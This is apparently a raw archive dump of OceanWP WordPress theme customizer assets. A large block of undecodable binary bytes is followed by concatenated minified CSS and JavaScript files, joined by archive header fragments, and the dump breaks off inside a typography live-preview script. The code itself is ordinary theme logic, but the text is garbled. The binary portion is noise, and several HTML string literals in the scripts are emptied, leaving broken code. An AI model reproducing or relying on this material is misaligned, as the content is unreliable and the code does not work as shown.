£ùÂ’+®gÅ+ÛÜx†’Â&ç°¢à¸Hhç}^<¤¸ù&7ЫYoYöaSÝÿwY»¿üos¹úVRö¤< Îk¼i\á×],ÜXÉ“·ÈeæÇEÄd½föÊ#ØHL¢À©Xö=c‚V2®Õ"¥âW’ºÓ5þŽ»PÕY)Ćk¬~ß%m„‘;Ì쵘á-"yK! ô®f2}1êzÆ[§¦¶Å].Ñ$—*–Îâÿ´«2 ùtm#/ÈÚæ¬óô»®­¢yî5D°ÃIdµÆ* $(,ÆÏ` ¿œŠ‹Tù x¡GµUZÖZzxZ,ÒÐYšÆ4¸08Û¹ç;ä̪´\;ÒrÈØ¢±2I$8kQ^ç8àœ*²y4÷úsªØzmׇ+kŒLýÄ‚êÄßGt°c páT'pÁÕxƒñŽD{õGw’_Š^^ÐÙcÕU2Šëc®qV2ŽÊcèä hg•‡p{c/h <ÊöŽi>ÁžµÖˆ˜`ª¯ÓW‡‡a¤’îËäZ\Ainyuò¼wÕéÊK’c} «þoXö_Sôu›ör§ö¤< Îk¼ilCz—9©qY‹ŒåûßÍm†â·ˆÇÛ‡dÞCÜý’½Âe—‘ÛZj}icÔUZšé%Ö¢ŠëMOK$”ô”æ(d¤=€RSÀ×ÿE—‡8AÀrVƒ‰6;]Ž¾Ý ª‘´‘ÏG$’µ²M&÷¶bÐìÍ$„ÞXnî…kÔöZâLþMñšS }b×Û]Üað—LRnòMrÝ{·âqlðW®§JéŠÙ媭Ӗº©Ý¾jš›=¾yæ~ß,ÒÓ¾I€縜3ÉA¢ºÝ ±Ar¯†& ¬Ž*ʈãczðÖ2@ÖŒ÷º¬>§ôäNŸù‡NùÕÑÚfö'¦¾‚µøªìòêóákŸÏê¾µ=OéÈ?óó©Úfö'¦¾‚µøªyuyðµÏçõ_Zž§ôäNŸù‡NùÔí3GûÓ_AZüU<º¼øZçóú¯­Y—§qÒáñòftÞ,£Û#_D1Õ pwã^¡hÀ¹#2ûÄÓ´ÍìOM}kñTòêóákŸÏê¾µ]½léÏ'ðŸ5Xz=;LÑþÄô×ÐV¿O.¯>¹üþ«ëSÖΜò óU‡£Ó´ÍìOM}kñTòêóákŸÏê¾µ=léÏ'ðŸ5Xz=;LÑþÄô×ÐV¿O.¯>¹üþ«ëUk|Òd¸µÃb­®#$Ç=¾>Ò£, ’’Ç º¤©á#pH<‰¯E&—ÓTÕÐéÛT$˜ji-újˆ‹šæ8Ç44ì‘›˜ç4–¸×9§‘!uMu¹Ï¡žã_4O>)«*$ààÇÈZàiÁõ…uªêð¥(Šœß‚—ú·ú&º§û„ßð¤þã—8þéóÛýà¼Û­6,Õ[§ºOÓ8í+cesÂ_ã±ñÙ|vÌÉy$„‰8Sl©t@’c3#+¼¾ÂM|äÑ>HdáͦÙ_\7›%– [¬±PË#.sÒSˆðÕµ†±×¹½=Sª¤ŠXä–£1LC5…¾pïP×jZʪwÂú:úé*Åsê×RG4'Fø‹…CNG‰¯kÚÆæz Í^ÔV³ä19 kXÕ¦¸Uê¢ ¨»‰ã¨g` §‡ˆïZÿÕ´•7k%Ú–Šº¦­ŸÀSµì€šˆäèÚù^Ö5­cHn÷ŽMœ¬‡´OuÓ¼ˆá'|…¥ÎÀÌÜCA$¸‘œyÎ.Æ{«]EŒ˜­ñ¦Û m£/s I"G“¬(®ì®87C[‹uUu®²E%œÑéãEŸ[N襆.š8å|ÂgDÉ$=½ðrÞC)-LPOg­6×ÍX&¸‰žµîÚ^ÀÍ¡ÎkZAÝ‚2yõ)^™È]dñQ]ݲ¼Í4èYF¥Qʯ±]‡!ËÁ¹äO0MNteÖ²óa‚º½í–¥óT±ÏdqÄ6Ç3šÑ²0Ð0ÑÛyÏ'š Þ© ¢¸IONØÛNÜ\A{FãÏ™çÝêåÉnGÜýí.ö¥¿üA[ò&ú\ÕžýÑþ`8q{ùRÑÿ!/çNr÷®NíVy•D»Y8€–*Ñ+ou\øÄý´žu;ªçÆ'í¤ó¨‰ÝW>1?m'DNê¹ñ‰ûi<ê"wUÏŒOÛIçQº®|b~ÚO:ˆÕsãöÒyÔEÞÆ\Ü6BÍZy™MÄ@«JäÆ ؃ïFˆ²](‰DTæ;C)÷¢þä&ºj)ç=èe?¹Ç÷F=¿Þ Èîø§âòóèu Ÿ5¯À?”ÿp[ íCðõOÞS¾)ø |¼ú<Ö¿þSýÁ;Pü#ýS÷”ïŠ~(/>‡O5¯À?”ÿpNÔ?ÿTýåX/õ%¶O'Bï“C ¡¶6otÅdc$޲õË•áë9/VAØû.|¢—M_Gx½Ó]kìLžžž…Ôf‚JçÊã$Ò6s3iXZXeÀgFìíÎñœ ¥-šz*)i)îŽY*¡°ZÝŒigFf!Û¶cvðG{æík®mìa[{LpB¥™cKóÂÉf<í $“¹çûªACĺ;m;i(tÌtÔìsÜØ£¹Ðù\÷z*r\I9=kÁ>—š¦C4÷WK#€î¤ˆh •@ÀÇW¸·sî]ÏöžÕQkÜù›X¸DÝwˆ~-ú¨¸vðm³{ûÖʼ„ZŸ¶}'­ê; °»QPC³²;#~ûh~ìˆ ÛŽ¬aÙŒ\tµyUw±GÓôý-¶wç¢è¶†ÔíÆ:I3ž¼ä{‹*æ}´¼þ·ÿÂÖn«­”D¢%(‰DJ"Qí—ë1}1DYFˆ”D¢.¡ÑÐò¬§nD9|ýêá#‘¾2Hc˜HÆ@p-$dœè+ëN×°AøBÔ3÷%ô| ÿ¼uØø Æqýþ€sðûƒóVŸò}ðß'×\c¹“a'úO•#'ÛÀÏ{¿>xOàKÁpñÕóïLèûË-AòŒ' Óì}ðßÙ¶·üƒû%<ñ:ŸÀ–‚áã©÷¦t}å– ùFÐiö>øoìÛ[þAý’žxOàKÁpñÕY>ä= "ñŪµ4ˆw‘ð±—G#Èóä|4û|7öm­ÿ þÉO¶ÚN²0Å8¸]}’€HÙÕ[#žÛýÚ"Ñüæ:·I™œmÅÒÙÁ{ªò6ò\·òj÷óÃÆBõø8¸½XÊXÜV±ïöJ]IÇ å†¶½¶ÊK®½ºÑÏZí¹…’Ý*ØC:iHÁ¼ì3Iì· å-¾¾[^„ ¸ANj¦¤ÓôsÇ߇¹”‘ãvÀ]Ñ·íäÚ3ÑµØæBèô§ñzá{’òæòÜãÍìÐLÐI{ ÌbKxÊÍÂZ(ã#…Á,jóq÷Diþ\aŽ×r®¹Q>ÌëM%Séf¹Ò:9Ÿè#£…ÑÕ‡ÓïŠ ’‡´5糇×Û†°¥ÕÒÃM;k[KÑ6Xé§c_è[#¦x1[&ðw4€ÒHæÇ!ÝRßE'W[ßËgƒ³J‘A ÅöbK?ò¬[‡Ø…QÈÄÙmÌÖËq†Qn¤ºOANÑ&Ù'Žjj’íq/vCË„mÀcA `“9©¦è[Löoxž–:‰2ØËå’02Ö£Ð7nãÍÄóûP6?£l'PhÌ•¦bêòÒÞOÌrYÌ­2â„A¬†qÀRWc²Ä«ì€Ü‚ùý)joÆ(ÿÃ);qwùf×ïaüêu-ïi¡þ:φÛìêÊ¥i“½¦‡øë=þo³¨‰ÞÓCüužÿ ·ÙÔE^Û£½ksot™œã=´ñNŠËoÂÍ ‹"†Û *؃¶ûlyÑb‡9ŽžXáŽgi%pˆ R ÙŽÀnT7÷I¢+½(‰DJ"ÄR~OÓo¤h‹…(‰DJ"ŸéŸk›õ™~„TEçÿHZ¯i®µ…´÷l“A©31J¢Ú傼wó«%ˆ«lA©#—#µiÓ‹ZëMQqCˆ4•òGQK¬u 4QÖ82X®•,{CÙšì9®Í%§‘…š>ÃtŸJiÉ¢§k£–Ëm{ š\ÇÒDá–º@áGÛ{áBîµnš½ŠX.¯$ž)Ç*½½é.„lAaÛx0#`AåÊÜ×kí!r†zzû„ÕqTÆb³R\\dŒ€6—ô"@6€k”– ?x¥|rSÓ6ÄàøöÍL\r^Xyžcyóæ¢˜Ì¦Ï$g>Úúò{KAew$Ž·6‰mÖý“åÊ9¸(Nû8" f½iÊ »ê[t¶ª+}M¾¶ê饙•–èi ƨïs‚–3 19ÄâFâ»[Cr¨¤š7MW=-.control-wrap:not(.active){display:none;width:100%}.customize-control-code_editor .CodeMirror{height:calc(100vh - 185px)}#customize-footer-actions .devices-wrapper .devices button::before{vertical-align:unset}body.rtl .customize-control-checkbox input[type=checkbox]{margin:0 0 0 6px}body.rtl .customize-control-checkbox input[type=checkbox]:checked:before,body.rtl .customize-control-ocean-multi-check input[type=checkbox]:checked:before{right:0;left:auto}body.rtl .customize-control .responsive-switchers,body.rtl .customize-control .responsive-switchers li button{margin-right:5px;margin-left:0}body.rtl .customize-control .responsive-switchers li{float:right}@media screen and (max-width:768px){body .customize-control .responsive-switchers{display:none}body .customize-control.has-switchers>.control-wrap:not(.active){display:inline-block}}@media screen and (min-width:481px) and (max-width:768px){body .customize-control.has-switchers>.control-wrap{display:inline-block}body .customize-control.has-switchers>.control-wrap:not(.tablet){display:none}}@media screen and (max-width:480px){body .customize-control.has-switchers>.control-wrap{display:inline-block}body .customize-control.has-switchers>.control-wrap:not(.mobile){display:none}}customizer/assets/min/css/buttonset.min.css000064400000000000151551031110015127 0ustar00customizer/assets/min/css/dimensions.min.css000064400000003140151551031110015260 0ustar00.customize-control-oceanwp-dimensions>ul{display:inline-block;width:100%}.customize-control-oceanwp-dimensions .dimension-wrap{float:left;width:20%;margin:0}.customize-control-oceanwp-dimensions .dimension-wrap button,.customize-control-oceanwp-dimensions .dimension-wrap input{display:block;font-size:12px;padding:4px 0;width:100%;height:28px;border:1px solid;border-color:#a4afb7;border-left-width:0;border-radius:0;text-align:center}.customize-control-oceanwp-dimensions .dimension-wrap:first-child input{border-left-width:1px;border-radius:3px 0 0 3px}.customize-control-oceanwp-dimensions .dimension-wrap .dimension-label{display:block;color:#949698;font-size:10px;padding-top:5px;font-style:normal;text-transform:uppercase;text-align:center}.customize-control-oceanwp-dimensions .dimension-wrap input:focus+.dimension-label{color:#42474a}.customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions{background-color:#fff;border:1px solid #a4afb7;border-left-width:0;padding:0;outline:0;border-radius:0 3px 3px 0;cursor:pointer}.customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions span{display:block;width:100%;height:28px;line-height:28px;font-size:16px}.customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions .oceanwp-linked{background-color:#a4afb7;color:#fff}.customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions.unlinked .oceanwp-unlinked{display:none}.customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions.unlinked .oceanwp-linked{display:block}.customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions .oceanwp-linked{display:none}customizer/assets/min/css/color.min.css000064400000000000151551031110014216 0ustar00customizer/assets/min/css/upsell.min.css000064400000002147151551031110014422 0ustar00#customize-theme-controls #accordion-section-oceanwp_upsell_section{display:block!important;border-top:1px solid #5277fe;border-bottom:1px solid #5277fe}#accordion-section-oceanwp_upsell_section h3{background-color:#5277fe;padding:0;margin:0;border-left:4px solid #5277fe;transition:.15s background-color ease-in-out,.15s border-color ease-in-out;outline:0}#accordion-section-oceanwp_upsell_section h3:hover{background-color:#3d5ac3;border-left-color:#000c65}#accordion-section-oceanwp_upsell_section h3 a{display:block;position:relative;color:#fff;padding:10px 10px 11px 14px;line-height:21px;text-decoration:none;box-shadow:none!important}#accordion-section-oceanwp_upsell_section h3 a:after{content:'\f345';color:#fff;position:absolute;top:12px;right:10px;z-index:1;font:400 20px/1 dashicons;speak:none;display:block;text-decoration:none!important}.rtl #accordion-section-oceanwp_upsell_section h3{border-left:none;border-right:4px solid #5277fe}.rtl #accordion-section-oceanwp_upsell_section h3:hover{border-right-color:#000c65}.rtl #accordion-section-oceanwp_upsell_section h3 a:after{content:'\f341';right:auto;left:10px}customizer/assets/min/js/typo.min.js000064400000002017151551031110013555 0ustar00wp.customize.controlConstructor["oceanwp-typo"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this,n=this.container.find("select");jQuery(n).select2({minimumResultsForSearch:10,dropdownCssClass:"oceanwp-select2",width:"100%"}),t.container.on("change",".typography-font-family select",function(){t.settings.family.set(jQuery(this).val())}),t.container.on("change",".typography-font-size input",function(){t.settings.size.set(jQuery(this).val())}),t.container.on("change",".typography-font-weight select",function(){t.settings.weight.set(jQuery(this).val())}),t.container.on("change",".typography-font-style select",function(){t.settings.style.set(jQuery(this).val())}),t.container.on("change",".typography-text-transform select",function(){t.settings.transform.set(jQuery(this).val())}),t.container.on("change",".typography-line-height input",function(){t.settings.line_height.set(jQuery(this).val())}),t.container.on("change",".typography-letter-spacing input",function(){t.settings.spacing.set(jQuery(this).val())})}});customizer/assets/min/js/icon-select.min.js000064400000000313151551031110014764 0ustar00wp.customize.controlConstructor["oceanwp-icon"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("change","input",function(){t.setting.set(jQuery(this).val())})}});customizer/assets/min/js/text.min.js000064400000000674151551031110013555 0ustar00wp.customize.controlConstructor["oceanwp-text"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.container.on("change keyup paste",".desktop input",function(){t.settings.desktop.set(jQuery(this).val())}),t.container.on("change keyup paste",".tablet input",function(){t.settings.tablet.set(jQuery(this).val())}),t.container.on("change keyup paste",".mobile input",function(){t.settings.mobile.set(jQuery(this).val())})}});customizer/assets/min/js/dimensions.min.js000064400000004374151551031110014742 0ustar00var $=jQuery;wp.customize.controlConstructor["oceanwp-dimensions"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.container.on("change keyup paste",".dimension-desktop_top",function(){t.settings.desktop_top.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-desktop_right",function(){t.settings.desktop_right.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-desktop_bottom",function(){t.settings.desktop_bottom.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-desktop_left",function(){t.settings.desktop_left.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-tablet_top",function(){t.settings.tablet_top.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-tablet_right",function(){t.settings.tablet_right.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-tablet_bottom",function(){t.settings.tablet_bottom.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-tablet_left",function(){t.settings.tablet_left.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-mobile_top",function(){t.settings.mobile_top.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-mobile_right",function(){t.settings.mobile_right.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-mobile_bottom",function(){t.settings.mobile_bottom.set(jQuery(this).val())}),t.container.on("change keyup paste",".dimension-mobile_left",function(){t.settings.mobile_left.set(jQuery(this).val())})}}),$(document).on("click",".oceanwp-linked",function(){var t=$(this);t.parent().parent(".dimension-wrap").prevAll().slice(0,4).find("input").removeClass("linked").attr("data-element",""),t.parent(".link-dimensions").removeClass("unlinked")}),$(document).on("click",".oceanwp-unlinked",function(){var t=$(this),e=t.data("element");t.parent().parent(".dimension-wrap").prevAll().slice(0,4).find("input").addClass("linked").attr("data-element",e),t.parent(".link-dimensions").addClass("unlinked")}),$(document).on("input",".dimension-wrap .linked",function(){var t=$(this).attr("data-element"),n=$(this).val();$('.linked[ data-element="'+t+'" ]').each(function(t,e){$(this).val(n).change()})});customizer/assets/min/js/buttonset.min.js000064400000000317151551031110014612 0ustar00wp.customize.controlConstructor["oceanwp-buttonset"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("click","input",function(){t.setting.set(jQuery(this).val())})}});customizer/assets/min/js/dropdown-pages.min.js000064400000000323151551031110015511 0ustar00wp.customize.controlConstructor["oceanwp-dropdown-pages"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.container.on("change","select",function(){t.setting.set(jQuery(this).val())})}});customizer/assets/min/js/typography.min.js000064400000000275151551031110014774 0ustar00!function(e){e(document).ready(function(){e(".oceanwp-typography-select").each(function(){e(this).append(ocean_wp_fonts_list.content)}),e(".oceanwp-typography-select").select2()})}(jQuery);customizer/assets/min/js/multicheck.min.js000064400000000476151551031110014721 0ustar00wp.customize.controlConstructor["oceanwp-multi-check"]=wp.customize.Control.extend({ready:function(){"use strict";var i=this;i.container.on("change","input",function(){var c=[],e=0;jQuery.each(i.params.choices,function(n,t){i.container.find('input[value="'+n+'"]').is(":checked")&&(c[e]=n,e++)}),i.setting.set(c)})}});customizer/assets/min/js/color.min.js000064400000006403151551031110013703 0ustar00function acp_get_alpha_value_from_color(a){var o;return o=(a=a.replace(/ /g,"")).match(/rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/)?(o=100*parseFloat(a.match(/rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/)[1]).toFixed(2),parseInt(o)):100}function acp_update_alpha_value_on_color_control(a,o,l,e){var t=o.data("a8cIris"),r=o.data("wpWpColorPicker");t._color._alpha=a,t=t._color.toString(),o.val(t),r.toggler.css({"background-color":t}),e&&acp_update_alpha_value_on_alpha_slider(a,l),o.wpColorPicker("color",t)}function acp_update_alpha_value_on_alpha_slider(a,o){o.slider("value",a),o.find(".ui-slider-handle").text(a.toString())}Color.prototype.toString=function(a){if("no-alpha"==a)return this.toCSS("rgba","1").replace(/\s+/g,"");if(this._alpha<1)return this.toCSS("rgba",this._alpha).replace(/\s+/g,"");var o=parseInt(this._color,10).toString(16);if(this.error)return"";if(o.length<6)for(var l=6-o.length-1;0<=l;l--)o="0"+o;return"#"+o},jQuery(document).ready(function(t){t(".alpha-color-control").each(function(){var r,c,i=t(this),e=i.val().replace(/\s+/g,""),a=i.attr("data-show-opacity"),n=i.attr("data-default-color"),o={change:function(a,o){var l,e=i.attr("data-customize-setting-link"),t=i.wpColorPicker("color");n==t&&(l=acp_get_alpha_value_from_color(t),c.find(".ui-slider-handle").text(l)),wp.customize(e,function(a){a.set(t)}),r.find(".transparency").css("background-color",o.color.toString("no-alpha"))},palettes:oceanwpLocalize.colorPalettes};i.wpColorPicker(o),r=i.parents(".wp-picker-container:first"),t('
    ').appendTo(r.find(".wp-picker-holder")),c=r.find(".alpha-slider"),o=acp_get_alpha_value_from_color(e),c.slider({create:function(a,o){var l=t(this).slider("value");t(this).find(".ui-slider-handle").text(l),t(this).siblings(".transparency ").css("background-color",e)},value:o,range:"max",step:1,min:0,max:100,animate:300}),"true"==a&&c.find(".ui-slider-handle").addClass("show-opacity"),r.find(".min-click-zone").on("click",function(){acp_update_alpha_value_on_color_control(0,i,c,!0)}),r.find(".max-click-zone").on("click",function(){acp_update_alpha_value_on_color_control(100,i,c,!0)}),r.find(".iris-palette").on("click",function(a){var o;a.preventDefault(),acp_update_alpha_value_on_alpha_slider(a=acp_get_alpha_value_from_color(o=t(this).css("background-color")),c),100!=a&&(o=o.replace(/[^,]+(?=\))/,(a/100).toFixed(2))),i.wpColorPicker("color",o)}),r.find(".button.wp-picker-clear").on("click",function(a){a.preventDefault();a=i.attr("data-customize-setting-link");i.wpColorPicker("color","#ffffff"),wp.customize(a,function(a){a.set("")}),acp_update_alpha_value_on_alpha_slider(100,c)}),r.find(".button.wp-picker-default").on("click",function(a){a.preventDefault(),acp_update_alpha_value_on_alpha_slider(acp_get_alpha_value_from_color(n),c)}),i.on("input",function(a){a.preventDefault(),acp_update_alpha_value_on_alpha_slider(acp_get_alpha_value_from_color(t(this).val()),c)}),c.slider().on("slide",function(a,o){acp_update_alpha_value_on_color_control(parseFloat(o.value)/100,i,c,!1),t(this).find(".ui-slider-handle").text(o.value)}),t(".iris-picker, .alpha-color-control").on("click",function(a){a.preventDefault()})})});customizer/assets/min/js/sortable.min.js000064400000001351151551031110014375 0ustar00wp.customize.controlConstructor["oceanwp-sortable"]=wp.customize.Control.extend({ready:function(){"use strict";var i=this;i.sortableContainer=i.container.find("ul.sortable").first(),i.sortableContainer.sortable({stop:function(){i.updateValue()}}).disableSelection().find("li").each(function(){jQuery(this).click(function(){var i=jQuery(this).find("i.visibility");i.toggleClass("dashicons-saved"),i.toggleClass("dashicons-no-alt"),i.toggleClass("dashicons-visibility-faint").parents("li:eq(0)").toggleClass("invisible")})}).click(function(){i.updateValue()})},updateValue:function(){"use strict";var i=[];this.sortableContainer.find("li").each(function(){jQuery(this).is(".invisible")||i.push(jQuery(this).data("value"))}),this.setting.set(i)}});customizer/assets/min/js/slider.min.js000064400000003472151551031110014052 0ustar00wp.customize.controlConstructor["oceanwp-slider"]=wp.customize.Control.extend({ready:function(){"use strict";var e,t,n=this,i=n.container.find(".oceanwp-slider.desktop-slider"),a=i.next(".oceanwp-slider-input").find("input.desktop-input"),s=n.container.find(".oceanwp-slider.tablet-slider"),l=s.next(".oceanwp-slider-input").find("input.tablet-input"),u=n.container.find(".oceanwp-slider.mobile-slider"),p=u.next(".oceanwp-slider-input").find("input.mobile-input");i.slider({range:"min",value:a.val(),min:+a.attr("min"),max:+a.attr("max"),step:+a.attr("step"),slide:function(e,t){a.val(t.value).keyup()},change:function(e,t){n.settings.desktop.set(t.value)}}),s.slider({range:"min",value:l.val(),min:+l.attr("min"),max:+l.attr("max"),step:+a.attr("step"),slide:function(e,t){l.val(t.value).keyup()},change:function(e,t){n.settings.tablet.set(t.value)}}),u.slider({range:"min",value:p.val(),min:+p.attr("min"),max:+p.attr("max"),step:+a.attr("step"),slide:function(e,t){p.val(t.value).keyup()},change:function(e,t){n.settings.mobile.set(t.value)}}),jQuery("input.desktop-input").on("change keyup paste",function(){e=jQuery(this),t=e.val(),e.parent().prev(".oceanwp-slider.desktop-slider").slider("value",t)}),jQuery("input.tablet-input").on("change keyup paste",function(){e=jQuery(this),t=e.val(),e.parent().prev(".oceanwp-slider.tablet-slider").slider("value",t)}),jQuery("input.mobile-input").on("change keyup paste",function(){e=jQuery(this),t=e.val(),e.parent().prev(".oceanwp-slider.mobile-slider").slider("value",t)}),n.container.on("change keyup paste",".desktop input",function(){n.settings.desktop.set(jQuery(this).val())}),n.container.on("change keyup paste",".tablet input",function(){n.settings.tablet.set(jQuery(this).val())}),n.container.on("change keyup paste",".mobile input",function(){n.settings.mobile.set(jQuery(this).val())})}});customizer/assets/min/js/general.min.js000064400000003165151551031110014204 0ustar00jQuery(document).on("oceanready",function(){var c=jQuery;c(".customize-control .responsive-switchers button:not(.ocean-proccessed)").on("click",function(e){c(this).addClass("ocean-proccessed");var s=c(this),o=c(".responsive-switchers"),t=c(e.currentTarget).data("device"),a=c(".customize-control.has-switchers"),r=c(".wp-full-overlay"),e=c(".wp-full-overlay-footer .devices");o.find("button").removeClass("active"),o.find("button.preview-"+t).addClass("active"),a.find(".control-wrap").removeClass("active"),a.find(".control-wrap."+t).addClass("active"),a.removeClass("control-device-desktop control-device-tablet control-device-mobile").addClass("control-device-"+t),r.removeClass("preview-desktop preview-tablet preview-mobile").addClass("preview-"+t),e.find("button").removeClass("active").attr("aria-pressed",!1),e.find("button.preview-"+t).addClass("active").attr("aria-pressed",!0),s.hasClass("preview-desktop")&&a.toggleClass("responsive-switchers-open")}),c(".wp-full-overlay-footer .devices button:not(.ocean-proccessed)").on("click",function(e){c(this).addClass("ocean-proccessed");var s=c(this),o=c(".customize-control.has-switchers .responsive-switchers"),t=c(e.currentTarget).data("device"),e=c(".customize-control.has-switchers");o.find("button").removeClass("active"),o.find("button.preview-"+t).addClass("active"),e.find(".control-wrap").removeClass("active"),e.find(".control-wrap."+t).addClass("active"),e.removeClass("control-device-desktop control-device-tablet control-device-mobile").addClass("control-device-"+t),s.hasClass("preview-desktop")?e.removeClass("responsive-switchers-open"):e.addClass("responsive-switchers-open")})});customizer/assets/min/js/iconmulti-select.min.js000064400000000302151551031110016035 0ustar00wp.customize.controlConstructor.select=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("change","input",function(){t.setting.set(jQuery(this).val())})}});customizer/assets/min/js/multiple-select.min.js000064400000000511151551031110015667 0ustar00wp.customize.controlConstructor["oceanwp-multiple-select"]=wp.customize.Control.extend({ready:function(){"use strict";var t,e=this,n=this.container.find("select");jQuery(n).select2({escapeMarkup:function(t){return t}}).on("change",function(){t=jQuery(this).val(),e.setting.set(t),null===t?e.setting.set(""):e.setting.set(t)})}});customizer/assets/min/js/textarea.min.js000064400000000376151551031110014405 0ustar00wp.customize.controlConstructor["oceanwp-textarea"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.find("textarea");this.container.on("change keyup paste","textarea",function(){t.setting.set(jQuery(this).val())})}});customizer/assets/min/js/upsell.min.js000064400000000244151551031110014066 0ustar00!function(t){t.sectionConstructor["oceanwp-upsell"]=t.Section.extend({attachEvents:function(){},isContextuallyActive:function(){return!0}})}((jQuery,wp.customize));customizer/assets/min/js/radio-image.min.js000064400000000321151551031110014734 0ustar00wp.customize.controlConstructor["oceanwp-radio-image"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("click","input",function(){t.setting.set(jQuery(this).val())})}});customizer/assets/min/js/range.min.js000064400000001236151551031110013660 0ustar00wp.customize.controlConstructor["oceanwp-range"]=wp.customize.Control.extend({ready:function(){"use strict";var n=this;jQuery("input[type=range]").off().on("input",function(){var n=jQuery(this),t=n.val();n.siblings("input.oceanwp-range-input").attr("value",t)}),jQuery("input.oceanwp-range-input").off().on("input",function(){var n=jQuery(this),t=n.val();n.siblings("input[type=range]").val(t).trigger("input")}),jQuery(".oceanwp-reset-slider").off().on("click",function(){var n=jQuery(this).siblings("input[type=range]"),t=n.data("reset_value");n.val(t).trigger("input")}),this.container.on("input","input[type=range]",function(){n.setting.set(jQuery(this).val())})}});customizer/assets/js/typography-customize-preview.js000064400001202270151551031110017126 0ustar00/** * Update Typography Customizer settings live. * * @version 1.0.0 */ (function ($) { // Declare vars var api = wp.customize; /******** TYPOGRAPHY OPTIONS LOOP *********/ api("body_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-body-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append(''); } } var $child = $(".customizer-typography-body-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-body-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("body_typography[text-transform]", function ($swipe) { $swipe.bind(function 